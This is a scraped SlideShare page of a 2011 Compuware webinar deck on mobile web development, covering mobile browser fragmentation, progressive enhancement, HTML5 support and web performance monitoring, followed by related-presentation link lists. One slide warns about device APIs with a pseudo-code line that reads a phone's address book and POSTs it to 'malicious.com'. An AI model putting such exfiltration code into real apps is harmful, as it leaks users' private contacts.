SlideShare uma empresa Scribd logo
1 de 56
Baixar para ler offline
Best practices for delivering quality web experiences
State of
          the mobile web
                   Peter-Paul Koch
             http://quirksmode.org
             http://twitter.com/ppk
Compuware Webinar , 24 March 2011
Mobile First!
• Design your sites for mobile first.
• You’ll be forced to decide what is so
  important that it MUST be shown in the
  mobile device’s tiny display.
• The things you leave out of the mobile
  version don’t really need to be in the
  desktop version, either.
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb

          You may groan now.
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb

              WebKit-based
WebKit on Mobile
There is no WebKit on mobile!
There's iPhone Safari (2 and 3),
and Android (1.0 and 1.5)
and S60 WebKit (v3 and v5)
and Blackberry WebKit,
and Palm WebKit,
and Bolt, Ozone, Teashark, and a few more


These WebKits are all different.
Exhibit A: WebKit comparison table
http://quirksmode.org/webkit.html
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb

             Proxy browsers
Proxy browsers
• Page is downloaded to and rendered
  on a specialised server.
• A highly compressed image is sent to
  the client.
• Advantage: cheap, both in device and
  in network costs
• Disadvantage: no client-side
  interactivity
Global stats Q4 2010
                  (by StatCounter)

Safari       23% iOS                      Stable
Opera        22% Many OSs                 Stable
BlackBerry   18% BlackBerry               Down
Nokia        16% Symbian (and S40)        Stable
Android      12% Android                  Up
NetFront     4% Sony Ericsson & Samsung   Stable
Samsung      1% bada                      Up
UCWeb        1% Many OSs                  Down
Others       3%
Browser stats
• Those are GLOBAL stats; they are not
  necessarily correct for the sites you’re
  working on. Always check your stats.
• Social media referrals cause
  disproportionate iPhone visits; and
  Android to a lesser degree.
Stats
(global, Q4 2010)
But usually this is what happens




          Rest? What rest?
Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
Progressive
        enhancement
How do you deal with this immense
amount of browsers?

Use advanced tricks, but make sure
your site remains usable without them.

The site is enhanced as much as the
browser allows.
Progressive
         enhancement


                   HTML

All browsers support HTML. That’s the definition
of a browser.
Progressive
        enhancement

     Basic CSS


                  HTML

All browsers support most basic CSS. There will
be bugs, but only few.
Progressive
         enhancement
   Advanced CSS

     Basic CSS


                    HTML

Advanced CSS is restricted to advanced
browsers. Make sure it contains nothing vital; just
nice extras.
Progressive
         enhancement
   Advanced CSS

     Basic CSS            Basic JavaScript


                   HTML

All browsers support basic JavaScript, but they
can be slow. Maybe switch off in BB5 and lower.
Progressive
         enhancement
   Advanced CSS          Advanced JavaScript

     Basic CSS             Basic JavaScript


                    HTML

Advanced JavaScript is a problem. Feature
detection is your friend. Make sure it contains
nothing vital.
Progressive
         enhancement
CSS animations? Use them.
If they don’t work, nothing is lost.

Offline storage? Use it.
If it doesn’t work, the user reloads the
site every time. Not perfect, but it works.
Performance
How long does it take to generate 250
lists with 20 items each?

The following graphs give the number of
seconds it took the browsers.

http://quirksmode.org/m/tests/DOMspeed.html
Performance
Performance
HTML5
• Which browsers support HTML5?
• What is HTML5, anyway?
• Ask five web developers and they’ll
  give you five different answers.
HTML5
•   Offline storage
•   Video and audio
•   Canvas
•   New input types
•   Websockets
•   New semantics
•   SVG
•   File API
•   etc. etc. etc.
Offline storage
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
SVG
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
New input types
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
HTML5
• Which browsers support HTML5?
• It depends.
• HTML5 is mainly a marketing
  buzzword.
• That’s not bad; we need it.
• But it has no technical meaning.
HTML5 apps
• One core app written in HTML,
  CSS, and JavaScript.
• Deployed to several mobile
  platforms.
• Ideally, CSS and JavaScript are
  stored on the device.
• If it can't be deployed it's still a
  website.
Symbian                 Windows Mobile




    I’ve done it. In April 2009.
Device APIs
    • Native apps offer device APIs.
    • They allow you to access the camera,
      accelerometer, SMS, file system, etc.
    • Web apps will have to offer them, too.
device.phone.call(device.addressBook['mom'])
Device APIs
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.
Providing trusted apps might remain an app
store function.
Summary
• Mobile First! Design for mobile, and
  your desktop site will become better,
  too.

• Use progressive enhancement. Lots of
  it. It will keep you sane.

• Know which browsers to develop for.
Which mobile browsers?
•   Safari iPhone
•   Opera Mini
•   Android WebKit
•   US: BlackBerry (WebKit and older)
•   Europe: Nokia WebKit

•   Dolfin for bada (easy)
•   Opera Mobile (easy)
Thank you


                  • Peter-Paul Koch
              • http://quirksmode.org
              • http://twitter.com/ppk
• Compuware Webinar , 24 March 2011
Best Practices For Delivering
Quality Web Experiences In A
Mobile, Multi-Browser World
    Steve Tack



    CTO APM Solutions



    Compuware
Users Access The Web On A Variety Of Browsers
And Devices
Mobile Devices & Browsers Ever More Important
                      • Morgan Stanley predicts global mobile users will outnumber
                        desktop internet users within 3 years
                             Global Mobile vs. Desktop Internet User Projection, 2007 - 2015
                      2000
                      1800                                                                  Desktop Users
                      1600                                                                  Mobile Users
Internet Users (MM)




                      1400
                      1200
                      1000
                      800
                      600
                      400
                      200
                        0
                             2007   2008   2009   2010   2011   2012   2013   2014   2015
  Source: Mary Meeker, Morgan Stanley
Typical Evolution Of A Company’s Mobile Strategy
• Denial – Don’t do anything
    – “Mobile Phone Users? Do we have any?”                                       Limitation
    – “Just have them go to our regular website”
• (Reluctant) Acceptance – Create a minimal mobile website
    – “Let’s create a simple version of our website that works across all devices”
    – Lowest common denominator approach
• Panic – Get an app store presence as quickly as possible
    – “We have to have a native app. Everyone else is doing it”
    – Create a thin native wrapper around the browser object. Low effort.
      Questionable value.
• Contemplation – Fix the native app
    – “Wow! These phones can do that?”
    – Iteratively replace browser object with native calls, add device-specific
      capabilities
• Maturity – Optimize the mobile website
                                                                             Opportunity
    – “Wow! I can do that in a browser? Really?”
    – Use the mobile-specific browser capabilities to enhance mobile website
Smartphone Owners By Far Most Active Users
           Of Mobile Web
  F   e
  e   p
  a   h
  t   o
  u   n
  r   e



      Q
      M
      D



  S
  mh
  ao
  rn
  t e
  p

          0%      10%         20%          30%         40%         50%          60%    70%   80%   90%
                                           Daily        Weekly          Monthly



Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
Different Browsers And Devices Have
Different Capabilities
• In turn different browsers offer different experiences - even
  amongst high-end, touch screen smartphones
Smartphones Have Redefined Mobile End-Users’
Experience Expectations
                            • By end of 2011 Nielsen
                              expects more smartphones
                              in U.S. than feature phones
                            • As of November 2010
                               – 31% of U.S. mobile
                                 subscribers own
                                 smartphones
                               – 45% of recent acquirers
                                 chose a smartphone over a
                                 feature phone



                            • Mobile end-users expect
                              rich, engaging mobile web
                              experiences
End-Users’ Mobile Experience Expectations
Are Increasing
End-Users’ Mobile Experience Expectations Are
Often Not Met
• Mobile website performance impacts
  business results
  – 52% of users are unlikely to return to a site
    they had trouble accessing on their phone
    • 40% said they’d likely visit a competitor’s website
      instead




                                        Social media allows
                                      users to voice & record
                                        their frustration in
                                       real-time, negatively
                                      impacting revenue and
                                           brand equity
Poor Mobile Website Performance Hurts Business
                                    Abandonment Rate Across 200+ Web Sites / 177+ Million Page

                       30
                                                                                                      Abandonment Rate
                                                                                                      - All Browsers
                       25
Abandonment Rate (%)




                                                                                                      Abandonment Rate
                       20                                                                             - iPhone Safari


                       15
                                                          Slower pages = higher abandonment
                       10                                       • Reduces revenue
                                                                • Increases costs
                                                                • Damages brand
                       5


                       0
                            0   1    2   3   4   5    6    7    8   9   10   11   12   13   14   15
                                                     Page Load Time (sec.)

Source: Gomez real user monitoring
Delivering Quality Mobile Web Experiences Is
    Difficult - Solution: Adopt Your End-Users' POV

                                              The Application Delivery Chain
                                                              • Resource
                                                                          contention
                                                                        • Capacity issues
                                                              Cloud     • Slow bursting
                                                                                                                            Customers
                                                        Private    Public                                       Browsers
                                                                                                   Local
  Data Center                        • Inconsistent geo performance                                 ISP
                                     • Bad performance under load                3rd Party/
             Virtual/Physical Environment
                                     • Blocking content delivery               Cloud Services                      • Poorly
                                                                                                                     performing
                 DB        App       Web         Load                                          • Network             JavaScript
Mainframe      Servers    Servers   Servers    Balancers               Major                     peering           • Browser/
                                                                        ISP                      problems            device
   • Poorly performing         • Network                                                                             incompatibility
                                 problems                                                      • Bandwidth
     Java or .NET
     methods                   • Bandwidth
                                               Customer/user           point of view             throttling        • Pages too big
                                 contention                                                    • Inconsistent      • Low cache
   • Slow SQL or Web
 Storage transactions                             • Network                                      connectivity        hit rate
     services                  • Improper load
                             Network                peering                         Content
   • Server performance          balancing          problems
                                                  • Outages                         Delivery
                                                                                    Networks
    Web               Mobile                WAN
  Services          Components           Optimization                                             Mobile
                                                    •   Configuration issues
                                                    •   Oversubscribed POP                        Carrier
                                                    •   Poor routing optimization                               Devices
                                                         Employees                                                         Employees
                                                    •   Low cache hit rate              • Network resource shortage
                                                                                        • Faulty content transcoding
                                                                                        • SMS routing / latency issues
Know Your End-Users

• Can mobile end-users complete key transactions?
    – While on the move
    – Often one-handed
    – With intermittent network/GPS connections

• What devices and browsers
  do they use?
• What networks are they on?
• What are their usage
  patterns?
• What is their geographic
  location?
• What is their context?
• What are their objectives?
Browsers Are Evolving

• HTML5 support
    – Application cache, canvas,
      audio, video, local storage,
      geo-location, etc.

• CSS3 support
    – Web fonts, animations,
      gradients, shadows, etc.

• Performance improvements
    – Faster JavaScript processing
    – Parallel download of JS scripts
    – More parallel connections
    – Resource pre-fetching
    – Multi-threading in JS
Leverage Browser Capabilities To Improve
Perceived Performance
• Fewer steps to complete an end-user goal equals better
  perceived performance from an end-users’ perspective
Ensure Mobile Web Applications Function As Intended
    Across All The Devices Your Customers Use
Android 2.2 – Nexus One   BlackBerry OS 5 – Storm 2   iOS 4.1 – iPhone 3GS
Embrace A “One Web” Application Performance
Management Approach
• Mobile websites and applications often share backend infrastructure and
  services with existing web apps
• Important to leverage established and common best practices, metrics
  and technologies for both mobile and web channels
    – Garner operational efficiencies
    – Identify mobile specific problems, web specific problems or both across the
      entire application delivery chain - from device to datacenter
 iPad & Safari
                    iPhone & Safari    iPhone App
                                                             Windows 7 & Chrome
How To Deliver Quality Web Experiences In A
Mobile, Multi-Browser World
•   Adopt your end-users' point of view

•   Know your end-users

•   Tailor your mobile experience to meet your end-
    users' objectives

•   Leverage browser capabilities to improve perceived
    performance

•   Ensure mobile web applications function as
    intended across all the devices your customers use

•   Embrace a “One Web” application performance
    management approach
Questions?
Compuware Customers
Enjoy Measurable Benefits
• Increased revenue 25%
• Reduced revenue loss by
  92% and $737,251 annually
• Reduced home page load
  time from 11.3 seconds
  to 3.4 seconds
• Saved 50%+ in staff and fees
• Reduced downtime 45%
• Improved first-hour problem
  resolution rate to 80%
• Improved annual
  troubleshooting efficiency by
  97%, saving $784,000
• Reduced SAP license costs by
  $475,000 per year
For more information visit Gomez.com or contact us at +1 781.778.2700

Mais conteúdo relacionado

Mais procurados

Building Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScriptBuilding Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScriptJonathan Stark
 
Jedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, Opera
Jedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, OperaJedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, Opera
Jedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, OperaBiznes 2.0
 
Mobile Web Best Practices
Mobile Web Best PracticesMobile Web Best Practices
Mobile Web Best PracticesWoody Pewitt
 
Philly ete-2011
Philly ete-2011Philly ete-2011
Philly ete-2011davyjones
 
Designing for mobile devices
Designing for mobile devicesDesigning for mobile devices
Designing for mobile devicesFahd Alhazmi
 
Developing for Mobility
Developing for MobilityDeveloping for Mobility
Developing for MobilityScotty Logan
 
Web Apps and Responsive Design for Libraries
Web Apps and Responsive Design for LibrariesWeb Apps and Responsive Design for Libraries
Web Apps and Responsive Design for LibrariesMatt Machell
 
Go Mobile With WordPress (2012)
Go Mobile With WordPress (2012)Go Mobile With WordPress (2012)
Go Mobile With WordPress (2012)BraveNewCode Inc.
 
OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...
OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...
OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...Damian OSuilleabhain
 
Getting Started with Mobile Websites if You Don't Know Code
Getting Started with Mobile Websites if You Don't Know CodeGetting Started with Mobile Websites if You Don't Know Code
Getting Started with Mobile Websites if You Don't Know CodeCarli Spina
 
Android101 Intro to Android for the enterprise, IdoSphere
Android101 Intro to Android for the enterprise, IdoSphereAndroid101 Intro to Android for the enterprise, IdoSphere
Android101 Intro to Android for the enterprise, IdoSphereDennis Heinle
 
Stivanson cody assignment4
Stivanson cody assignment4Stivanson cody assignment4
Stivanson cody assignment4cstivanson
 
Web App vs Web Site
Web App vs Web SiteWeb App vs Web Site
Web App vs Web SiteMatt Evans
 
Mobile WordPress: Dale Mugford of BraveNewCode
Mobile WordPress: Dale Mugford of BraveNewCodeMobile WordPress: Dale Mugford of BraveNewCode
Mobile WordPress: Dale Mugford of BraveNewCodeBraveNewCode Inc.
 
Responsive Design & Beyond [Code & Creativity Workshop]
Responsive Design & Beyond [Code & Creativity Workshop]Responsive Design & Beyond [Code & Creativity Workshop]
Responsive Design & Beyond [Code & Creativity Workshop]Aaron Gustafson
 

Mais procurados (18)

Building Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScriptBuilding Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScript
 
Jedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, Opera
Jedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, OperaJedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, Opera
Jedna sieć na każdym urządzeniu - Sebastian Baberowski i Paweł Miniewicz, Opera
 
chapter2
chapter2chapter2
chapter2
 
Mobile Web Best Practices
Mobile Web Best PracticesMobile Web Best Practices
Mobile Web Best Practices
 
Philly ete-2011
Philly ete-2011Philly ete-2011
Philly ete-2011
 
Designing for mobile devices
Designing for mobile devicesDesigning for mobile devices
Designing for mobile devices
 
Developing for Mobility
Developing for MobilityDeveloping for Mobility
Developing for Mobility
 
Web Apps and Responsive Design for Libraries
Web Apps and Responsive Design for LibrariesWeb Apps and Responsive Design for Libraries
Web Apps and Responsive Design for Libraries
 
Go Mobile With WordPress (2012)
Go Mobile With WordPress (2012)Go Mobile With WordPress (2012)
Go Mobile With WordPress (2012)
 
OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...
OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...
OS3 - Enterprise Ireland - Approaches To I Phone Development & The Irish iPho...
 
Getting Started with Mobile Websites if You Don't Know Code
Getting Started with Mobile Websites if You Don't Know CodeGetting Started with Mobile Websites if You Don't Know Code
Getting Started with Mobile Websites if You Don't Know Code
 
Android101 Intro to Android for the enterprise, IdoSphere
Android101 Intro to Android for the enterprise, IdoSphereAndroid101 Intro to Android for the enterprise, IdoSphere
Android101 Intro to Android for the enterprise, IdoSphere
 
mobile presentation
mobile presentationmobile presentation
mobile presentation
 
Stivanson cody assignment4
Stivanson cody assignment4Stivanson cody assignment4
Stivanson cody assignment4
 
Web App vs Web Site
Web App vs Web SiteWeb App vs Web Site
Web App vs Web Site
 
Mobile WordPress: Dale Mugford of BraveNewCode
Mobile WordPress: Dale Mugford of BraveNewCodeMobile WordPress: Dale Mugford of BraveNewCode
Mobile WordPress: Dale Mugford of BraveNewCode
 
Responsive Design & Beyond [Code & Creativity Workshop]
Responsive Design & Beyond [Code & Creativity Workshop]Responsive Design & Beyond [Code & Creativity Workshop]
Responsive Design & Beyond [Code & Creativity Workshop]
 
01 Mobile Jungle
01 Mobile Jungle01 Mobile Jungle
01 Mobile Jungle
 

Destaque

Mobile Marketing and Commerce Insights
Mobile Marketing and Commerce InsightsMobile Marketing and Commerce Insights
Mobile Marketing and Commerce InsightsBen Mantooth
 
Revolutionizing Website Design
Revolutionizing Website DesignRevolutionizing Website Design
Revolutionizing Website DesignBen Mantooth
 
Engaging the Tablet User
Engaging the Tablet UserEngaging the Tablet User
Engaging the Tablet UserBen Mantooth
 
B2B Content Marketing Trends Report
B2B Content Marketing Trends ReportB2B Content Marketing Trends Report
B2B Content Marketing Trends ReportBen Mantooth
 
Mobile Beacons 101
Mobile Beacons 101Mobile Beacons 101
Mobile Beacons 101Ben Mantooth
 
Multichannel Content Playbook
Multichannel Content PlaybookMultichannel Content Playbook
Multichannel Content PlaybookBen Mantooth
 
Online Tuesday Appril 2013 NU.nl Mobile Strategy and Stats
Online Tuesday Appril 2013 NU.nl Mobile Strategy and StatsOnline Tuesday Appril 2013 NU.nl Mobile Strategy and Stats
Online Tuesday Appril 2013 NU.nl Mobile Strategy and StatsBrechtje de Leij
 

Destaque (7)

Mobile Marketing and Commerce Insights
Mobile Marketing and Commerce InsightsMobile Marketing and Commerce Insights
Mobile Marketing and Commerce Insights
 
Revolutionizing Website Design
Revolutionizing Website DesignRevolutionizing Website Design
Revolutionizing Website Design
 
Engaging the Tablet User
Engaging the Tablet UserEngaging the Tablet User
Engaging the Tablet User
 
B2B Content Marketing Trends Report
B2B Content Marketing Trends ReportB2B Content Marketing Trends Report
B2B Content Marketing Trends Report
 
Mobile Beacons 101
Mobile Beacons 101Mobile Beacons 101
Mobile Beacons 101
 
Multichannel Content Playbook
Multichannel Content PlaybookMultichannel Content Playbook
Multichannel Content Playbook
 
Online Tuesday Appril 2013 NU.nl Mobile Strategy and Stats
Online Tuesday Appril 2013 NU.nl Mobile Strategy and StatsOnline Tuesday Appril 2013 NU.nl Mobile Strategy and Stats
Online Tuesday Appril 2013 NU.nl Mobile Strategy and Stats
 

Semelhante a Best practices for delivering quality web experiences

Mobile Web High Performance
Mobile Web High PerformanceMobile Web High Performance
Mobile Web High PerformanceAmjad Rafique
 
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...Compuware APM
 
Synapse india reviews on mobile application development
Synapse india reviews on mobile application developmentSynapse india reviews on mobile application development
Synapse india reviews on mobile application developmentsaritasingh19866
 
Synapse india reviews on cross plateform mobile apps development
Synapse india reviews on cross plateform mobile apps developmentSynapse india reviews on cross plateform mobile apps development
Synapse india reviews on cross plateform mobile apps developmentsaritasingh19866
 
HTML5 and the Mobile Web
HTML5 and the Mobile WebHTML5 and the Mobile Web
HTML5 and the Mobile WebMrJ1971
 
Advancement in Web Technologies
Advancement in Web TechnologiesAdvancement in Web Technologies
Advancement in Web Technologieshiteshproy
 
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...Simon Bates
 
Mobile App Development
Mobile App DevelopmentMobile App Development
Mobile App DevelopmentChris Morrell
 
Ugly truths about html5 moosecon - robert virkus - 2013-03-07
Ugly truths about html5   moosecon - robert virkus - 2013-03-07Ugly truths about html5   moosecon - robert virkus - 2013-03-07
Ugly truths about html5 moosecon - robert virkus - 2013-03-07Enough Software
 
Cross Platform HTML5 Mobile Development and the Firefox OS
Cross Platform HTML5 Mobile Development and the Firefox OSCross Platform HTML5 Mobile Development and the Firefox OS
Cross Platform HTML5 Mobile Development and the Firefox OSSMART DevNet
 
HTML5 로 iPhone App 만들기
HTML5 로 iPhone App 만들기HTML5 로 iPhone App 만들기
HTML5 로 iPhone App 만들기JungHyuk Kwon
 
Firefox os the web, mobile (for yahoo! hack europe - april 2013)
Firefox os  the web, mobile (for yahoo! hack europe - april 2013)Firefox os  the web, mobile (for yahoo! hack europe - april 2013)
Firefox os the web, mobile (for yahoo! hack europe - april 2013)Yahoo Developer Network
 
HTML5 is the Future of Mobile, PhoneGap Takes You There Today
HTML5 is the Future of Mobile, PhoneGap Takes You There TodayHTML5 is the Future of Mobile, PhoneGap Takes You There Today
HTML5 is the Future of Mobile, PhoneGap Takes You There Todaydavyjones
 
HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?Reto Meier
 
«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​FDConf
 

Semelhante a Best practices for delivering quality web experiences (20)

Mobile Web High Performance
Mobile Web High PerformanceMobile Web High Performance
Mobile Web High Performance
 
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...
 
Synapse india reviews on mobile application development
Synapse india reviews on mobile application developmentSynapse india reviews on mobile application development
Synapse india reviews on mobile application development
 
Synapse india reviews on cross plateform mobile apps development
Synapse india reviews on cross plateform mobile apps developmentSynapse india reviews on cross plateform mobile apps development
Synapse india reviews on cross plateform mobile apps development
 
HTML5 and the Mobile Web
HTML5 and the Mobile WebHTML5 and the Mobile Web
HTML5 and the Mobile Web
 
Multiplatform
MultiplatformMultiplatform
Multiplatform
 
DDive- Giuseppe Grasso - mobile su Lotus
DDive- Giuseppe Grasso - mobile su LotusDDive- Giuseppe Grasso - mobile su Lotus
DDive- Giuseppe Grasso - mobile su Lotus
 
Advancement in Web Technologies
Advancement in Web TechnologiesAdvancement in Web Technologies
Advancement in Web Technologies
 
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...
 
Mobile App Development
Mobile App DevelopmentMobile App Development
Mobile App Development
 
Ugly truths about html5 moosecon - robert virkus - 2013-03-07
Ugly truths about html5   moosecon - robert virkus - 2013-03-07Ugly truths about html5   moosecon - robert virkus - 2013-03-07
Ugly truths about html5 moosecon - robert virkus - 2013-03-07
 
Cross Platform HTML5 Mobile Development and the Firefox OS
Cross Platform HTML5 Mobile Development and the Firefox OSCross Platform HTML5 Mobile Development and the Firefox OS
Cross Platform HTML5 Mobile Development and the Firefox OS
 
HTML5 로 iPhone App 만들기
HTML5 로 iPhone App 만들기HTML5 로 iPhone App 만들기
HTML5 로 iPhone App 만들기
 
Unify - JSConf.EU 2010
Unify - JSConf.EU 2010Unify - JSConf.EU 2010
Unify - JSConf.EU 2010
 
Firefox os the web, mobile (for yahoo! hack europe - april 2013)
Firefox os  the web, mobile (for yahoo! hack europe - april 2013)Firefox os  the web, mobile (for yahoo! hack europe - april 2013)
Firefox os the web, mobile (for yahoo! hack europe - april 2013)
 
HTML5 is the Future of Mobile, PhoneGap Takes You There Today
HTML5 is the Future of Mobile, PhoneGap Takes You There TodayHTML5 is the Future of Mobile, PhoneGap Takes You There Today
HTML5 is the Future of Mobile, PhoneGap Takes You There Today
 
HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?
 
DjangoSki
DjangoSkiDjangoSki
DjangoSki
 
Samsung
SamsungSamsung
Samsung
 
«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​
 

Último

20230202 - Introduction to tis-py
20230202 - Introduction to tis-py20230202 - Introduction to tis-py
20230202 - Introduction to tis-pyJamie (Taka) Wang
 
Building AI-Driven Apps Using Semantic Kernel.pptx
Building AI-Driven Apps Using Semantic Kernel.pptxBuilding AI-Driven Apps Using Semantic Kernel.pptx
Building AI-Driven Apps Using Semantic Kernel.pptxUdaiappa Ramachandran
 
Linked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesLinked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesDavid Newbury
 
Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxGDSC PJATK
 
Nanopower In Semiconductor Industry.pdf
Nanopower  In Semiconductor Industry.pdfNanopower  In Semiconductor Industry.pdf
Nanopower In Semiconductor Industry.pdfPedro Manuel
 
Videogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdfVideogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdfinfogdgmi
 
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPAAnypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPAshyamraj55
 
UiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPathCommunity
 
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IES VE
 
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...UbiTrack UK
 
Empowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership BlueprintEmpowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership BlueprintMahmoud Rabie
 
Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )Brian Pichman
 
How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?IES VE
 
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostKubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostMatt Ray
 
Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...
Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...
Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...DianaGray10
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureEric D. Schabell
 
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
